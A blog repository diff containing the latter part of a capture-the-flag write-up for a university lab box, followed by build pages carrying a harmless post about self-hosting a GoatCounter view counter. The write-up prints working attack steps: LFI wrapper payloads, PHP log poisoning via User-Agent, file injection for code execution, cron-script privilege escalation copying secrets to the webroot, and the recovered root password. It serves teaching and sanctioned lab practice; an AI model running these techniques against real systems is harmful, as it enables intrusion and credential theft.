    The presentation literally mentions log poisoning. I went for it — hard — and declared it dead. Plot twist: Tobias later confirmed it is the intended RCE path. I just griefed myself out of it. See §11 Bonus for the real technique and what I screwed up.

    +

    Short version of my failure: I poisoned via HTTPS (wrong log), sprayed broken PHP into the HTTP log, and never read the hint in index.php source until it was too late.

    +

    data://, php://input, expect://

    +
    ?page=data://text/plain,<?php system($_GET[cmd]); ?>
    +?page=php://input   # with POST body
    +?page=expect://id
    +

    Nope. allow_url_include = Off. Klaus isn’t that careless.

    +

    vim .swp files

    +

    .memes.php.swp is downloadable over HTTP and readable via LFI/base64. I hex-dumped it, tried including it, tried img_src shell escapes on memes.php / convert_img.php.

    +

    Empty memes page. No execution. Nice red herring — very on-theme for the talk.

    +

    Munin / apt_all plugin

    +

    The presentation mentions monitoring (Nagios/Munin vibes). I went hunting:

    +
      +
    • /etc/munin/plugins/apt_all — referenced in cron, but the plugin file doesn’t exist
    • +
    • Brute-forced tons of plugin names and backup suffixes (.bak, .swp, ~, …)
    • +
    • Waited for cron cycles hoping a custom plugin would curl localhost pwreset
    • +
    +

    Verdict: the apt_all munin path is a distraction (or a removed artifact). The real privesc was elsewhere.

    +

    pwreset log archaeology

    +

    Reading /var/log/nginx/ssl-pwreset.g00.tuw.measurement.network.access.log via LFI is gold for lore:

    +
      +
    • Saw historical resets like user3foobar23
    • +
    • Tried foobar23 over SSH for every user
    • +
    +

    From outside: still Permission denied (publickey). Password auth isn’t offered externally. TU Wien network / internal access might differ — I didn’t have that.

    +

    Shell script injection into userchange

    +

    I tried newline injection to turn userchange into a bash script:

    +
    user=
    +#!/bin/sh
    +cp /home/user1/passwd_part /var/www/.../p1
    +...
    +

    Cron cleared the file. No copies appeared. The processor uses chpasswd, not /bin/sh. Good lesson. Wrong path.

    +

    Brute-forcing the userchange consumer

    +

    I spawned searches across /etc/cron.d, puppet manifests, /usr/local/sbin, systemd units, … — looking for whatever reads userchange.

    +

    Eventually didn’t need it. Once RCE landed, grepping and find from inside the box were faster. (Also: I killed a couple of those background brute-force jobs — they were timing out and weren’t on the winning path.)

    +

    Direct SSH password guessing

    +

    Tried setting root’s password via pwreset (root:RootPass123!), waited for cron, attempted SSH.

    +

    From the internet: publickey only. The reset machinery may still work internally, but I couldn’t log in with passwords from outside.

    +
    +

    6) Privesc — world-writable cron script (peak Klaus)

    +

    With RCE as www-data, I looked for writable files:

    +
    find / -writable -type f 2>/dev/null | head
    +

    Jackpot:

    +
    -rwxrwxrwx 1 user1 www-data ... /usr/local/bin/cron_update_hostname_file.sh
    +

    Original script (innocent):

    +
    #!/bin/bash
    +grep 127.0.0.1 /etc/hosts > /home/user1/hostname_config
    +

    It’s run by cron as root (Puppet-managed). www-data can edit it because user1 owns it and the group is www-data with world-writable perms. Chef’s kiss.

    +

    I appended:

    +
    cp /home/user1/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p1
    +cp /home/user2/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p2
    +cp /home/user3/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p3
    +cp /home/user4/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p4
    +cp /home/monitoring/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/pm
    +cp /root/passwd             /var/www/vhosts/g00.tuw.measurement.network/htdocs/rootpass
    +chmod 644 /var/www/vhosts/g00.tuw.measurement.network/htdocs/p*
    +

    Then either waited for cron or executed the script manually via RCE:

    +
    <?=`/usr/local/bin/cron_update_hostname_file.sh`?>
    +

    Files appeared in the webroot. Root-readable secrets exfiltrated by root itself. Klaus would be proud.

    +
    +

    7) SSH as www-data — because keys in the webroot are a mood

    +

    The main vhost webroot also had .ssh/id_rsa for www-data. Of course it did.

    +
    # via RCE: cat the key, save locally, chmod 600
    +ssh -i g00_wwwdata_key -o StrictHostKeyChecking=no \
    +  www-data@g00.tuw.measurement.network
    +

    Works. You land in the challenge webroot with all the exfiltrated parts sitting there as plain files.

    +
    +

    8) The password parts

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    SourceFilePart
    user1p1DcC6Da0A27384fA
    user2p29Ce05B3cAd57824
    user3p33aD80fa1b7AE986
    user4p4CDefabffab1FCCf
    www-datapasswd_part44D885d6DAb8Bb9
    rootrootpassghadnuthduxeec7
    +

    Missing: monitoring/passwd_part — copying to pm failed (no file / permission denied even as root’s cron context for that path). Might need a different exfil path or ordering. For the final flag, the six parts above were sufficient.

    +

    Combined root password (95 characters):

    +
    DcC6Da0A27384fA9Ce05B3cAd578243aD80fa1b7AE986CDefabffab1FCCf44D885d6DAb8Bb9ghadnuthduxeec7
    +

    Order: user1 + user2 + user3 + user4 + www-data + root_suffix.

    +

    I double-checked byte lengths with wc -c and od over SSH. No sneaky newlines.

    +

    Root SSH with that password from outside still didn’t bite (pubkey-only externally). The password is the challenge answer, not necessarily your remote login method.

    +
    +

    9) Attack chain (one screen)

    +
    documentation.md
    +    → web vhost LFI (include $_GET['page'])
    +        → include pwreset index.php (localhost bypass)
    +            → write PHP to /var/www/userchange
    +                → LFI include userchange
    +                    → RCE as www-data
    +                        → append to world-writable cron_update_hostname_file.sh
    +                            → cron runs as root → copies passwd parts to webroot
    +                                → read parts / SSH as www-data
    +                                    → profit
    +

    Very “real world” in the worst way. Multiple small mistakes compounding into a full chain.

    +
    +

    10) Replay script

    +

    I left a minimal Python replay in the challenge repo:

    +
    python3 solve.py
    +

    Core logic:

    +
    def pwreset(user, passwd=""):
    +    # LFI-include pwreset index.php with user/pass params
    +
    +def rce(cmd):
    +    pwreset(f"<?=`{cmd}`?>", "")
    +    return lfi_include("/var/www/userchange")
    +

    It prints id, the modified cron script, each part file, and the combined password.

    +
    +

    11) Bonus: the intended log poisoning path

    +

    After I solved the box the scenic route (pwreset → userchange), I mentioned to Tobias that log poisoning seemed broken and maybe the logs needed a cron truncate. He replied, more or less: griefing the logs is part of the game — and students mostly grief themselves. Fair. 😂

    +

    So here’s the path you’re supposed to take for RCE, and how I accidentally took the scenic bypass.

    +

    The hint is in index.php, not documentation.md

    +

    documentation.md only lists the services (web, pwreset). It says nothing about logs. The actual breadcrumb is an HTML comment in index.php (readable via PHP filter LFI):

    +
    <!-- remember for debugging:
    +    /var/log/nginx/$vhost.access.log
    +    /var/log/nginx/$vhost.error.log
    +    /var/log/nginx/ssl-$vhost.access.log
    +    /var/log/nginx/ssl-$vhost.error.log
    +-->
    +

    Four logs. Two pairs: HTTP and HTTPS (ssl-). The comment doesn’t say “don’t use SSL” — but the intended trick is to use the non-ssl access log.

    +

    Intended technique

    +
      +
    1. +

      Poison over HTTP (port 80), not HTTPS — so nginx writes to the smaller vhost log:

      +
      /var/log/nginx/web.g00.tuw.measurement.network.access.log
      +
    2. +
    3. +

      Put PHP in the User-Agent (or another logged field):

      +
      <?php passthru($_GET['cmd']); ?>
      +

      Short tags like <?=`id`?> work too. Use quoted 'cmd' — bare $_GET[cmd] is a PHP 8 footgun.

      +
    4. +
    5. +

      Include that log through the same LFI bug:

      +
      https://web.g00.tuw.measurement.network/
      +  ?page=/var/log/nginx/web.g00.tuw.measurement.network.access.log
      +  &cmd=id
      +
    6. +
    +

    On a fresh box the HTTP access log is tiny (basically empty plus your one poison line). PHP parses the file, hits your payload, you get www-data. That’s RCE. No pwreset required.

    +

    How I griefed myself

    + + + + + + + + + + + + + + + + + + + + + + + + + +
    What I didWhy it hurt
    Defaulted to https:// everywherePoison landed in ssl-web...access.log670 KB+ and growing
    Included the ssl log via LFIOutput truncates around ~2 KB; poison sits at the tail
    Fired dozens of test payloadsLeft broken <?php in the HTTP log ($_GET[cmd] without quotes, \x22, etc.) — PHP dies on the first bad tag before reaching a clean line
    Didn’t read index.php source earlyMissed the debug comment until I’d already polluted both logs
    +

    Tobias’s take: that’s a feature. The box teaches you that ops mistakes compound — wrong log, bad payload syntax, and a shared log file other students (or past-you) can wreck. Very Klaus.

    +

    If you’re solving it now

    +
      +
    • Read index.php source first.
    • +
    • Poison on HTTP: http://web.g00.tuw.measurement.network/ with a clean User-Agent payload.
    • +
    • Include the non-ssl access log path from the comment.
    • +
    • Don’t spray malformed PHP into the log unless you enjoy debugging your own garbage.
    • +
    +

    I still think logrotate would be kind. Tobias thinks griefing is the lesson. Both can be true.

    +
    +

    12) TL;DR

    +
      +
    • Read documentation.md — it tells you where the services live.
    • +
    • Read index.php source — the debug comment gives you the log paths.
    • +
    • Intended RCE = HTTP log poisoning → LFI include the non-ssl access log.
    • +
    • What I did = pwreset → userchange → cron (also works, not the intended first step).
    • +
    • Privesc = /usr/local/bin/cron_update_hostname_file.sh is world-writable and runs as root.
    • +
    • Griefing = part of the game; I griefed myself by poisoning the ssl log and littering broken PHP.
    • +
    • Flag = concatenate all passwd_part slices + /root/passwd suffix.
    • +
    +

    If you’re doing this as part of the TU Wien lab: don’t touch other groups’ hosts, don’t break the infra, and maybe send Klaus a thank-you note for the cron job.

    +

    Happy hacking. 🔓

    +
    +

    Thanks to Tobias Fiebig for the delightfully cursed “real world” box — and to past-me for writing down the rabbit holes so future-me could turn them into a blog post instead of trauma.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuEACgkQtYgoUOBM
    +jSr+7xAAjpbfTK8k+GguCtQOLwMj6XXcLxb2OYWyeBnbtvIDhy+fTISF9Q+hRfMX
    +91vzMfrmN4F42SvuxeKKB0iQcfheTdhfmxD7oll3j0v+drZ2YVGk9mKW4FBfzbb1
    +iXUt7MQzGnVl3dAHJ2Bqez29Qm9hmtgqIe2bndo2wg3nvNt5fMRF/LPh2CIXOq03
    +35YFa3A1GMUiKAHcemIqJnDZuIInQa+OuPIDPGQva93I20eIn40nIVDLDsY15X+R
    +FyxKVBAwO94We2g+lxhey+xKNIthkv7L8OdbU3WPYSyGk0w8YpNBVK7KtFDHUpsT
    +oLsZXNoKbyZ2eXYF0f54it9JdDo+obdsSRrIzRB/rfszXlVLbbtdwj7TGvgyhWV+
    +zNn5DrhIk5f4FMjJGUnO1QH+e5KPl2IQawCkpOl8NsIIzteNV5BFI3meecTJf6b+
    +//J/Fdzi1YbKFyQlk9zfUUL+1vMoSbkORd7S3JYkibTns+uD9LxW27WIEcvYRw0K
    +MlzdYdPXNCJZUDswt7HZCgQv66zF9+pLkQ/8rl+RVOMW9GqJmE6O0uh4xmPDE8vS
    +YK3/9gFIcXVMy7WsIwEx+xWQqcm815OZSIrw4kvt1+seZ8lUURmoAWRDEFrFUTCG
    +zB6tKRPKoID643AdO+Cb+GS5MLuypaQnoZzl3ALspaV7/YTfVcQ=
    +=BDGe
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/g00_tuw_measurement_ctf.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/g00_tuw_measurement_ctf.md.asc
    +gpg --verify g00_tuw_measurement_ctf.md.asc g00_tuw_measurement_ctf.md
    +  
    +
    + + +]]>
    +
    +
    +
    diff --git a/public-onion/categories/security/page/1/index.html b/public-onion/categories/security/page/1/index.html new file mode 100644 index 0000000..d35c53b --- /dev/null +++ b/public-onion/categories/security/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/categories/security/ + + + + + + diff --git a/public-onion/categories/stories/index.html b/public-onion/categories/stories/index.html new file mode 100644 index 0000000..97492c8 --- /dev/null +++ b/public-onion/categories/stories/index.html @@ -0,0 +1,352 @@ + + + + + + + +Stories | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    +

    A Tiny 'Views' Badge Sent Me Down a Rabbit Hole (PaperMod + Busuanzi + Debugging --> swapped with GoatCounter the GOAT) +

    +
    +
    +

    I tried to add a simple ‘views’ counter to my PaperMod blog. It worked—until it didn’t. Here’s the story of blank numbers, a mysterious Chinese message, and the final fix.

    +
    +
    October 18, 2025 · 9 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/categories/stories/index.xml b/public-onion/categories/stories/index.xml new file mode 100644 index 0000000..cc5e815 --- /dev/null +++ b/public-onion/categories/stories/index.xml @@ -0,0 +1,355 @@ + + + + Stories on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/categories/stories/ + Recent content in Stories on AlipourIm journeys + Hugo -- 0.146.0 + en + Sat, 18 Oct 2025 10:45:00 +0000 + + + A Tiny 'Views' Badge Sent Me Down a Rabbit Hole (PaperMod + Busuanzi + Debugging --> swapped with GoatCounter the GOAT) + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/papermod-views-debugging-story/ + Sat, 18 Oct 2025 10:45:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/papermod-views-debugging-story/ + I tried to add a simple &lsquo;views&rsquo; counter to my PaperMod blog. It worked—until it didn’t. Here’s the story of blank numbers, a mysterious Chinese message, and the final fix. + I only wanted a tiny “views” badge next to my RSS link—just a friendly nudge that real humans were reading my words. PaperMod makes it easy to tuck little UI bits in the footer, so I dropped in Busuanzi (that neat, no-account page/site view counter) and called it a day.

    +

    The thing is, I don’t think the counter even works correctly. +Or maybe I’m undermining my blog popularity! +But regardless, it was a small stiching task that I did on this lovely Friday evening. +The day before my next term of German class starts. +The day before playing deadface CTF that I’ve been counting days for.

    + +

    First I got the layout right. PaperMod supports extension partials, so I used a simple flex row to keep things side by side:

    +
    <div class="site-meta-row" style="display:flex;align-items:center;gap:.75rem;flex-wrap:wrap;">
    +  <a href="/index.xml" rel="alternate" type="application/rss+xml" title="RSS"
    +     class="rss-link" style="display:inline-flex;align-items:center;gap:.35rem;">
    +    { partial "svg.html" (dict "name" "rss") }
    +    <span>RSS</span>
    +  </a>
    +
    +  <span aria-hidden="true">·</span>
    +
    +  <span id="busuanzi_container_site_pv">
    +    Site views: <span id="busuanzi_value_site_pv">—</span>
    +  </span>
    +  <span aria-hidden="true">·</span>
    +  <span id="busuanzi_container_site_uv">
    +    Visitors: <span id="busuanzi_value_site_uv">—</span>
    +  </span>
    +</div>
    +

    So far, so good. The labels showed up. The numbers, though? Nothing. Just an em dash. I shrugged—maybe it was a caching thing.

    +

    The first round of checks

    +

    I added the script site‑wide in layouts/partials/extend_head.html:

    +
    <script src="//cdn.busuanzi.cc/busuanzi/3.6.9/busuanzi.min.js" defer></script>
    +

    Refreshed. Still blank.

    +

    DevTools time. Network tab: the script does load:

    +
      +
    • Request URL: https://cdn.busuanzi.cc/busuanzi/3.6.9/busuanzi.min.js
    • +
    • Request Method: GET
    • +
    • Status Code: 304 Not Modified
    • +
    • Referrer Policy: strict-origin-when-cross-origin
    • +
    • User-Agent: a normal Chromium build (nothing exotic)
    • +
    +

    No red flags. Just a perfectly normal 304.

    +

    Maybe my IDs were wrong? Busuanzi has a couple of flavors: busuanzi_value_* (with container wrappers) or shorthand like busuanzi_site_pv. I tried both, carefully, one at a time. Still… .

    +

    The odd message

    +

    Then it flashed for a moment—the Chinese line that made me google twice to be sure I saw it right:

    +
    +

    “域名过长,已被禁用 views”

    +

    That’s “domain name too long, disabled.” Wait, what?

    +

    I checked my hostname: blog.alipourimjourneys.ir. I counted: 27 characters. Busuanzi’s limit? 22. Suddenly, everything clicked. The script loads, but the service refuses to count for long domains, so the placeholders never fill.

    +

    Two ways out

    +

    At this point I had two clean options:

    +
      +
    1. Keep Busuanzi and move the site to the apex domain (short enough).
    2. +
    3. Keep my beloved blog. subdomain and swap in Vercount, a Busuanzi‑style drop‑in without the 22‑char limit.
    4. +
    +

    I liked the subdomain (habit, mostly), so I tried Vercount.

    +

    The swap (five-minute fix)

    +

    I removed the Busuanzi script and added Vercount instead:

    +
    <!-- extend_head.html -->
    +<script defer src="https://events.vercount.one/js"></script>
    +

    I kept the same tidy footer row, but switched the IDs to Vercount’s:

    +
    <div class="site-meta-row" style="display:flex;align-items:center;gap:.75rem;flex-wrap:wrap;">
    +  <a href="/index.xml" rel="alternate" type="application/rss+xml" title="RSS"
    +     class="rss-link" style="display:inline-flex;align-items:center;gap:.35rem;">
    +    { partial "svg.html" (dict "name" "rss") }
    +    <span>RSS</span>
    +  </a>
    +
    +  <span aria-hidden="true">·</span>
    +
    +  <span>Site views: <span id="vercount_value_site_pv">—</span></span>
    +  <span aria-hidden="true">·</span>
    +  <span>Visitors: <span id="vercount_value_site_uv">—</span></span>
    +</div>
    +

    For per‑post counts (in the post meta), I added:

    +
    <span id="vercount_value_page_pv">—</span> views
    +

    Deploy. Refresh. Numbers.

    +

    But if you want to stay with Busuanzi…

    +

    If your apex domain is short enough, pointing the site there works fine. The gist:

    +
      +
    • +

      Set baseURL in Hugo to the apex:

      +
      baseURL = "https://alipourimjourneys.ir/"
      +
    • +
    • +

      Add a 301 redirect from the long subdomain to the apex (Cloudflare, Netlify, Nginx—pick your tool).

      +
    • +
    • +

      Keep your Busuanzi spans as you had them; once the host fits the limit, they’ll populate.

      +
    • +
    +

    Post‑mortem checklist (a.k.a. things I learned)

    +
      +
    • If the script loads but you get blanks, it’s not always IDs or caching. Sometimes it’s a service rule.
    • +
    • Busuanzi refuses long hostnames (>22 chars) and ignores localhost. On those hosts, the placeholders stay empty or show the Chinese “disabled” note.
    • +
    • Don’t mix providers on the same page. Load exactly one script (Busuanzi or Vercount).
    • +
    • CSP and blockers matter. If you run a strict Content‑Security‑Policy or heavy ad blockers, they can block the script. Test in a clean profile and allow the script origin.
    • +
    +

    Happy ending

    +

    Now my footer shows RSS, site views, and visitors on a single neat line, and each post has a tiny “views” chip that quietly ticks upward. I got the tiny badge I wanted—and a reminder that the smallest features can hide the most interesting puzzles.

    +

    If you hit the same wall, check the hostname length first. It might save you an afternoon—and lead you to a solution you’ll feel weirdly proud of.

    +

    Final notes

    +

    Yea… I just felt this feature was missing, and it’s good to have it there. +I hope I stop adding things to the blog, and just keep writing in it. +I’ve spent too much time on it, and it feels like wasted time.

    +
    +

    Change of plans: Self‑hosting GoatCounter for PaperMod (Docker + Cloudflare + Onion)

    +

    This is the self‑host part I ended up with: Docker for GoatCounter, Cloudflare (orange‑cloud) in front, Nginx on the server as reverse proxy, plus my .onion mirror counting to the same GoatCounter site. Paste this whole section at the end of the post.

    +
    +

    1) Clean up old counters (optional, once)

    +
    # From your Hugo site root
    +grep -RinE "busuanzi|vercount|vercount_value_|busuanzi_value_" .
    +

    Remove any matching <script> and leftover *_value_* spans you no longer want.

    +
    +

    2) Run GoatCounter with Docker Compose

    +

    Minimal docker-compose.yml in ~/goatcounter:

    +
    services:
    +  goatcounter:
    +    image: arp242/goatcounter:2.6
    +    container_name: goatcounter
    +    ports:
    +      - "127.0.0.1:8081:8080"   # bind only to localhost; nginx will proxy
    +    volumes:
    +      - goatcounter-data:/home/goatcounter/goatcounter-data
    +    restart: unless-stopped
    +
    +volumes:
    +  goatcounter-data: {}
    +

    Start:

    +
    docker compose pull && docker compose up -d
    +

    Initialize the site (replace email if needed):

    +
    docker compose exec goatcounter   goatcounter db create site   -vhost=statsblog.alipourimjourneys.ir   -user.email=iman.alip2001@gmail.com
    +
    +

    If you ever see “no site at this domain” on localhost: use the exact vhost above.

    +
    +

    3) Cloudflare + Origin certificate (CF → origin TLS)

    +
      +
    • DNS: statsblog.alipourimjourneys.ir → server IP (proxied/orange).
    • +
    • SSL/TLS mode: Full (strict).
    • +
    • Issue a Cloudflare Origin Certificate for statsblog.alipourimjourneys.ir and save on the server:
    • +
    +
    sudo mkdir -p /etc/ssl/cloudflare
    +sudo nano /etc/ssl/cloudflare/origin.crt   # paste PEM
    +sudo nano /etc/ssl/cloudflare/origin.key   # paste key
    +sudo chown root:root /etc/ssl/cloudflare/origin.{crt,key}
    +sudo chmod 644 /etc/ssl/cloudflare/origin.crt
    +sudo chmod 600 /etc/ssl/cloudflare/origin.key
    +

    +

    4) Nginx vhost for the stats subdomain

    +
    # /etc/nginx/sites-available/statsblog.alipourimjourneys.ir.conf
    +server {
    +  listen 80;
    +  server_name statsblog.alipourimjourneys.ir;
    +  return 301 https://$host$request_uri;
    +}
    +
    +server {
    +  listen 443 ssl http2;
    +  server_name statsblog.alipourimjourneys.ir;
    +
    +  ssl_certificate     /etc/ssl/cloudflare/origin.crt;
    +  ssl_certificate_key /etc/ssl/cloudflare/origin.key;
    +
    +  # Proxy to the container on localhost
    +  proxy_set_header Host              $host;
    +  proxy_set_header X-Real-IP         $remote_addr;
    +  proxy_set_header X-Forwarded-For   $proxy_add_x_forwarded_for;
    +  proxy_set_header X-Forwarded-Proto $scheme;
    +
    +  location / { proxy_pass http://127.0.0.1:8081; }
    +}
    +

    Enable & reload:

    +
    sudo ln -s /etc/nginx/sites-available/statsblog.alipourimjourneys.ir.conf /etc/nginx/sites-enabled/
    +sudo nginx -t && sudo systemctl reload nginx
    +

    +

    5) Hugo integration (clearnet + onion, singular/plural + “0 views”)

    +

    Self‑host count.js so the onion mirror never fetches a third‑party script:

    +
      +
    • Save the official count.js as static/js/count.js in your Hugo repo.
    • +
    +

    Then add this to layouts/partials/extend_head.html (loader + helper):

    +
    <!-- Loader: choose endpoint based on hostname -->
    +<script>
    +(function () {
    +  var ONION = /\.onion$/i.test(location.hostname);
    +  window.goatcounter = { endpoint: ONION ? '/count' : 'https://statsblog.alipourimjourneys.ir/count' };
    +  var s = document.createElement('script');
    +  s.async = true; s.src = '/js/count.js';
    +  document.head.appendChild(s);
    +})();
    +</script>
    +
    +<!-- Helper: inline meta counts (post pages + lists) and totals -->
    +<script>
    +(function () {
    +  const ONION = /\.onion$/i.test(location.hostname);
    +  const GC_HOST = ONION ? '' : 'https://statsblog.alipourimjourneys.ir'; // '' = same-origin on .onion
    +  const SING='view', PLUR='views';
    +  const nf = new Intl.NumberFormat();
    +
    +  function ready(fn){ if (document.readyState !== 'loading') fn(); else document.addEventListener('DOMContentLoaded', fn); }
    +  function gcPath(){ try { return (window.goatcounter && window.goatcounter.get_data) ? window.goatcounter.get_data().p : location.pathname; } catch { return location.pathname; } }
    +  async function fetchCount(path){
    +    try {
    +      const r = await fetch(`${GC_HOST}/counter/${encodeURIComponent(path)}.json?t=${Date.now()}`, { credentials:'omit' });
    +      if (r.status === 404) return 0;
    +      if (!r.ok) throw 0;
    +      const j = await r.json();
    +      const n = Number(String(j.count).replace(/,/g,''));
    +      return Number.isFinite(n) ? n : 0;
    +    } catch { return null; }
    +  }
    +  const label = (n) => (n === null ? '—' : `${nf.format(n)} ${n === 1 ? SING : PLUR}`);
    +
    +  ready(async function () {
    +    // A) Single post: add to existing meta row + small bottom
    +    const post = document.querySelector('.post-single');
    +    if (post) {
    +      const meta = post.querySelector('.post-header .post-meta, .post-header .entry-meta, .post-meta');
    +      const path = gcPath();
    +      const n = await fetchCount(path);
    +      if (meta) {
    +        let span = meta.querySelector('.post-views'); if (!span) { span = document.createElement('span'); span.className='post-views'; meta.appendChild(span); }
    +        span.textContent = label(n ?? 0);
    +      }
    +      const after = post.querySelector('.post-content') || post;
    +      let bottom = post.querySelector('.post-views-bottom'); if (!bottom) { bottom = document.createElement('div'); bottom.className='post-views-bottom'; after.insertAdjacentElement('afterend', bottom); }
    +      bottom.textContent = label(n ?? 0);
    +    }
    +
    +    // B) Lists (/posts, home, sections): show “0 views” instead of hiding
    +    const cards = document.querySelectorAll('article.post-entry');
    +    await Promise.all(Array.from(cards).map(async (card) => {
    +      const meta = card.querySelector('.entry-footer, .post-meta');
    +      const link = card.querySelector('a.entry-link, h2 a, .entry-title a');
    +      if (!meta || !link) return;
    +      try {
    +        const u = new URL(link.getAttribute('href'), location.origin);
    +        if (u.origin !== location.origin) return;
    +        let span = meta.querySelector('.post-views'); if (!span) { span = document.createElement('span'); span.className='post-views'; meta.appendChild(span); }
    +        const n = await fetchCount(u.pathname);
    +        span.textContent = label(n ?? 0);
    +      } catch {}
    +    }));
    +
    +    // C) Site totals (optional placeholders)
    +    const pvEl = document.getElementById('vercount_value_site_pv');
    +    if (pvEl) { const n = await fetchCount('TOTAL'); pvEl.textContent = (n===null) ? '—' : nf.format(n); }
    +  });
    +})();
    +</script>
    +

    Style so meta items stay inline with middle dots (PaperMod‑like). Put this in assets/css/extended/goatcounter.css:

    +
    .post-single .post-header .post-meta,
    +.post-single .post-header .entry-meta,
    +.post-entry .entry-footer,
    +.post-entry .post-meta {
    +  display:flex; align-items:center; flex-wrap:wrap; gap:.35rem;
    +}
    +.post-single .post-header .post-meta > *,
    +.post-single .post-header .entry-meta > *,
    +.post-entry .entry-footer > *,
    +.post-entry .post-meta > * {
    +  display:inline-flex; align-items:center; white-space:nowrap;
    +}
    +.post-single .post-header .post-meta > * + *::before,
    +.post-single .post-header .entry-meta > * + *::before,
    +.post-entry .entry-footer > * + *::before,
    +.post-entry .post-meta > * + *::before {
    +  content:"·"; margin:0 .5rem; opacity:.6;
    +}
    +.post-views-bottom { margin:.6rem 0 0; opacity:.75; font-size:.95em; }
    +

    +

    6) Count Tor (.onion) visits into the same site

    +

    In the .onion server block, proxy GoatCounter endpoints to the same site by forcing the Host header:

    +
    # inside: server { ... } for fjthpp2h3mj2r....onion
    +
    +location = /count {
    +  proxy_pass http://127.0.0.1:8081/count;
    +  proxy_set_header Host statsblog.alipourimjourneys.ir;
    +  proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    +  proxy_set_header X-Forwarded-Proto http; # onion is http
    +}
    +
    +location /counter/ {
    +  proxy_pass http://127.0.0.1:8081/counter/;
    +  proxy_set_header Host statsblog.alipourimjourneys.ir;
    +  proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    +  proxy_set_header X-Forwarded-Proto http;
    +  add_header Cache-Control "no-store";
    +  proxy_no_cache 1; proxy_cache_bypass 1;
    +}
    +

    Because the loader above sets window.goatcounter.endpoint to /count on .onion, both hits and reads stay on the onion origin and are tallied into the same GoatCounter site.

    +
    +

    Note on DNT/Tor: Tor Browser sends DNT: 1. GoatCounter respects DNT by default, so Tor users won’t be counted unless you disable “Respect Do Not Track” in GoatCounter settings. Your choice; I left the code compatible either way.

    +
    +

    7) Troubleshooting quick notes

    +
      +
    • 400 “no site at this domain” → create the site with -vhost=statsblog.alipourimjourneys.ir or fix your proxy Host header.
    • +
    • Counts don’t change on onion → verify Tor path via torsocks, watch logs: +
      docker compose logs -f goatcounter
      +# look for “ignored: bot” (curl UA), or DNT being respected
      +
    • +
    • DevTools sanity → on clearnet you should see https://statsblog…/count and …/counter/*.json; on onion you should see /count and /counter/*.json (same‑origin).
    • +
    +

    That’s it. One dashboard; clearnet + onion both increment; tiny inline counters everywhere.

    +

    Honestly, self-hosting GoatCounter wasn’t as straightforward as I thought it would be. It almost made me cry a few times. I definitly thought about my life choices a few times along the way. But oh well, now it’s done and dusted, and I’m a happy puppy! :D

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuoACgkQtYgoUOBM
    +jSolRg//SwN9nMf9/Wgkr5h+dQowZMCHXXcKWgO8J08ITVDN1+weNNGANFrz63SQ
    +DajHGeSogYW1+AAxJaAeQ7hLdOX9foV5pT+kWANIjRBXnFyW+WR7kt6tmN2rcSH8
    +z4GKxqE3kdd3kCRhqT0pLiwnurqLgdCK+YldftO6GB8WP4oNDqOwHvoIE6o0ekdH
    +sn7ZBIxMaWc5UqijjqgBHhdHz3uSmL+rN4UwLFM3WXXlwl3HdGyjHcNTG7k648s2
    +X5+7a78OZAuDElpyp9y6WqiAFJQdrwBbTv3vvpU+f911voV7ZA+KbUqHsQrISTKz
    +cd+tPw2lcayfBZRtHMrL3fygvT3AWktcSavZrU5EOX/u/P7eMWEYu0FYh6aHqRak
    ++Ft2FR7EPlB2faS6wWYfoua6BYxFvevXX1fk+0HhZn9UJxJPaa/WTgVWDgpt++Ce
    +fdaDmsR69LIj2QTjPMXdQiUKkWPG2ziadTwJEWUHzOuREifmuBgp9Mwedk6zYkdT
    +m5Roi70IPtX3dDDHG5Votw3AKng3gaU7YcNzZVyi3iZkQkUHPUK47Wj21FajikMP
    +gCcWsoYWBRqdhL5XDrodt28AuLpm0cslz79DZdbLnielcjOS+GaUynjLzEWveOib
    +dxLcbIIap+nt315cjvkfatGv14Dres/K7vhQAhqGy5o0LM1D0qc=
    +=o387
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/view_count.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/view_count.md.asc
    +gpg --verify view_count.md.asc view_count.md
    +  
    +
    + + +]]>
    +
    +
    +
